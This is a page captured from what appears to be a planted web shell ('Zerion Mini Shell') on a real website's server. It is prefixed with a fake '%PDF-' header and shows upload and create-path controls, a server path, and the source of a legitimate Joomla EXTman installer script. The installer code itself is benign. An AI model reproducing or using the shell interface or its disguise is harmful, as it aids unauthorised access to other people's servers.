%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home1/lightco1/www/lightingrepublic.com.au/administrator/components/com_extman/install/
Upload File :
Create Path :
Current File : //home1/lightco1/www/lightingrepublic.com.au/administrator/components/com_extman/install/script.php

<?php
/**
 * @package     EXTman
 * @copyright   Copyright (C) 2011 - 2013 Timble CVBA. (http://www.timble.net)
 * @license     GNU GPLv3 <http://www.gnu.org/licenses/gpl.html>
 * @link        http://www.joomlatools.com
 */

defined('_JEXEC') or die;

// Need to do this as Joomla 2.5 "protects" parent and manifest properties of the installer
global $installer_manifest, $installer_source, $installer_instance;
$installer_manifest = simplexml_load_file($this->parent->getPath('manifest'));
$installer_source   = $this->parent->getPath('source');
$installer_instance = $this->parent;

require_once dirname(__FILE__).'/helper.php';

class com_extmanInstallerScript
{
    protected static $_files_to_delete = array(
        'administrator/components/com_extman/controllers/dashboard.php',
        'administrator/components/com_extman/controllers/toolbars/dashboard.php',
        'libraries/koowa/filter/tidy.php',
        'libraries/koowa/template/stack.php',
        'libraries/koowa/template/stream.php',
        'media/lib_koowa/js/autocomplete.js',
        'administrator/components/com_extman/install/.subscription'
    );

    protected static $_folders_to_delete = array(
        'administrator/components/com_extman/views/dashboard',
        'media/com_extman/css'
    );

	/**
	 * Name of the component
	 */
	public $component;

	public function __construct($installer)
	{
		global $installer_manifest, $installer_source, $installer_instance;
		// Need to do this as Joomla 2.5 "protects" parent and manifest properties of the installer
		$source   = $installer_source;
		$manifest = $installer_manifest;

		$class = get_class($this);
		preg_match('#^com_([a-z0-9_]+)#', get_class($this), $matches);
		$this->component = $matches[1];

		$this->helper = new ComExtmanInstallerHelper();

		$this->helper->installer = $installer_instance;
		$this->helper->manifest = $manifest;
	}
	
	protected function _fixJoomlaInstallBugs()
	{
	    $db = JFactory::getDbo();
	    
	    // Delete leftover entries from #__assets, #__extensions and #__menu
	    $queries = array();
	    $queries[] = "DELETE FROM #__assets WHERE name = '%s'";
	    $queries[] = "DELETE FROM #__extensions WHERE element = '%s'";
	    $queries[] = "DELETE FROM #__menu 
	        WHERE type = 'component' AND menutype = 'main'
	        AND link LIKE 'index.php?option=%s%%'";
	    
	    foreach ($queries as $query) {
	        $db->setQuery(sprintf($query, 'com_'.$this->component))
	           ->query();
	    }
	}
	
	protected function _fixJoomlaUpdateBugs()
	{
	    $db = JFactory::getDbo();
	    $component = 'com_'.$this->component;
	    
	    // Delete excess entries from #__extensions
	    $query = "SELECT extension_id FROM #__extensions WHERE element = '%s' ORDER BY extension_id ASC";
	    $ids = $db->setQuery(sprintf($query, $component))->loadColumn();

	    if (count($ids) > 1) {
	        $query = sprintf("DELETE FROM #__extensions WHERE element = '%s' AND extension_id <> %d", $component, $ids[0]);
	        $db->setQuery($query)->query();
	    }
	    
	    // Delete excess entries from #__assets
	    $query = "SELECT id FROM #__assets WHERE name = '%s' ORDER BY id ASC LIMIT 1";
	    $ids = $db->setQuery(sprintf($query, $component))->loadColumn();
	    
	    if (count($ids) > 1) {
	        $query = sprintf("DELETE FROM #__assets WHERE name = '%s' AND id <> %d", $component, $ids[0]);
	        $db->setQuery($query)->query();
	    }
	    
	    // Delete entries from #__menu to be sure
	    $query = "DELETE FROM #__menu 
	        WHERE type = 'component' AND menutype = 'main'
	        AND link LIKE 'index.php?option=%s%%'";
	    $query = sprintf($query, $component);

	    $db->setQuery($query)->query();
	}

	public function preflight($type, $installer)
	{
	    if (version_compare(JVERSION, '1.6', '>='))
	    {
	        if (in_array($type, array('install', 'discover_install'))) {
	            $this->_fixJoomlaInstallBugs();
	        } else {
	            $this->_fixJoomlaUpdateBugs();
	        }
	    }

		if ($errors = $this->helper->getServerErrors())
		{
			ob_start();
			echo JText::_("The installation can't proceed until you resolve the following: ");
			echo implode(',', $errors);

			$error = ob_get_clean();
			JFactory::getApplication()->enqueueMessage($error, 'error');

			// J1.5 does not remove menu items on unsuccessful installs
			if (version_compare(JVERSION, '1.6', '<'))
			{
				$db = JFactory::getDBO();
				$db->setQuery("DELETE FROM #__components WHERE `option` = 'com_extman'");
				$db->query();
			}

			return false;
		}
	}

	public function postflight($type, $installer)
	{
		/*
		 * Temporary fix: When upgrading from RC3 to RC4 we added a constant in KHttpUrl 
		 * and use it in KFilterInternalurl. The problem is we load KHttpUrl on upgrade before 
		 * overwriting the files. So KFilterInternalurl tries to reach a non-existent constant
		 * which is a fatal error. Hence this:
		 */
		if (class_exists('Koowa')) {
			KService::get('koowa:filter.internalurl');
		}

        $params     = JComponentHelper::getParams('com_extman');
        $old_uuid   = $params->get('joomlatools_user_id');
        $uuid       = $this->helper->getUUID();
        $user_id_saved = false;

        if ($uuid !== false && $old_uuid != $uuid)
        {
            $user_id_saved = $this->helper->storeUUID($uuid);

            // If we didn't store the user, we don't want to keep track of him either in this run
            if(!$user_id_saved) {
                $uuid = null;
            }
        }

		$this->helper->installFramework();
		$this->helper->installExtensions();
		
		// Rename manifest.xml to koowa.xml if possible
		$folder = JPATH_ROOT.'/plugins/system/koowa';
		if (file_exists($folder.'/manifest.xml')) {
            jimport('joomla.filesystem.file');

			JFile::move($folder.'/manifest.xml', $folder.'/koowa.xml');
		}

		if (version_compare(JVERSION, '1.6', '<'))
		{
            // Hide component in the menu manager in Joomla 1.5
			$db = JFactory::getDBO();
			$db->setQuery("UPDATE #__components SET link = '' WHERE link = 'option=com_extman'");
			$db->query();

            // Rename System - EXTman to System - Joomlatools Framework if possible
            $db->setQuery("
                UPDATE #__plugins SET name = 'System - Joomlatools Framework'
                WHERE element = 'koowa' AND folder = 'system'
            ");

            $db->query();
		}

		if ($this->helper->bootFramework())
		{
		    KService::setAlias('translator', 'com:default.translator');

            $controller = KService::get('com://admin/extman.controller.extension', array(
                'request' => array(
                    'view'   => 'extension',
                    'layout' => 'success',
                    'event'  => $type === 'update' ? 'update' : 'install'
                )
            ));

			$extension = $controller->read();
			$extension->name = 'EXTman';
            $extension->joomlatools_user_id = $uuid;
            $extension->user_id_saved = $user_id_saved;
			$extension->version = (string)$this->helper->manifest->version;

			echo $controller->display();
		}

        jimport('joomla.filesystem.file');
        jimport('joomla.filesystem.folder');

        foreach (self::$_files_to_delete as $file)
        {
            $path = JPATH_ROOT.'/'.(string)$file;

            if (file_exists($path)) {
                JFile::delete($path);
            }
        }

        foreach (self::$_folders_to_delete as $folder)
        {
            $path = JPATH_ROOT.'/'.(string)$folder;

            if (file_exists($path)) {
                JFolder::delete($path);
            }
        }

        /*
         * When releasing RC5 we removed the wrong column accidentally
         * which broke uninstall functionality
         *
         * This is here to make sure we fix those install on the fly by adding the missing column
         */
        $db = JFactory::getDbo();
        $db->setQuery('SHOW TABLES LIKE '.$db->quote($db->replacePrefix('#__extman_extensions')));
        if ($db->loadResult())
        {
            $db->setQuery("SHOW COLUMNS FROM " . $db->replacePrefix('#__extman_extensions'));
            $columns = $db->loadObjectList();

            $fields = array();
            foreach($columns as $column)  {
                $fields[$column->Field] = $column;
            }

            if (!isset($fields['joomla_extension_id']))
            {
                $query = "ALTER TABLE `#__extman_extensions` ADD COLUMN `joomla_extension_id` int(11) unsigned NOT NULL DEFAULT '0' AFTER `identifier`";
                $db->setQuery($query);
                $db->query();
            }

            if (isset($fields['joomlatools_user_id']))
            {
                $query = "ALTER TABLE `#__extman_extensions` DROP COLUMN `joomlatools_user_id`";
                $db->setQuery($query);
                $db->query();
            }
        }
	}

	public function uninstall($installer)
	{
		// Pre-cache uninstall tracking code since we are gonna get rid of the framework
		$track = '';
		if (class_exists('Koowa'))
		{
            $params = JComponentHelper::getParams('com_extman');
            $uuid   = $params->get('joomlatools_user_id');

            $controller = KService::get('com://admin/extman.controller.extension', array(
                'request' => array(
                    'view'   => 'extension',
                    'layout' => 'uninstall',
                    'event'  => 'uninstall'
                )
            ));

			$extension = $controller->read();
			$extension->name = 'EXTman';
            $extension->joomlatools_user_id = $uuid;
			$extension->version = (string)$this->helper->manifest->version;

			$track = $controller->display();
		}

		$db = JFactory::getDBO();
		$db->setQuery("SELECT name FROM #__extman_extensions WHERE parent_id = 0 AND identifier <> 'com:extman'");
		$results = version_compare(JVERSION, '3.0', 'ge') ? $db->loadColumn() : $db->loadResultArray();

		if (count($results))
		{
			$extension = count($results)  == 1 ? sprintf('the <strong>%s</strong> extension by Joomlatools installed', $results[0]) : sprintf('%d Joomlatools extensions installed', count($results));
			JFactory::getApplication()->enqueueMessage(sprintf(
				"You have $extension. EXTman is needed for Joomlatools extensions to work properly. These extensions will not work until you re-install EXTman. EXTman database tables are not deleted to make sure your site still works if you install it again.",
				JRoute::_('index.php?option=com_extman')), 'error');
		} 
		else 
		{
			$tables = array('#__extman_extensions', '#__extman_dependencies');
			foreach ($tables as $table)
			{
				$db->setQuery('DROP TABLE IF EXISTS '.$db->replacePrefix($table));
				$db->query();
			}
		}

		$this->helper->uninstallExtensions();
		$this->helper->uninstallFramework();

		echo $track;
	}
}

Zerion Mini Shell 1.0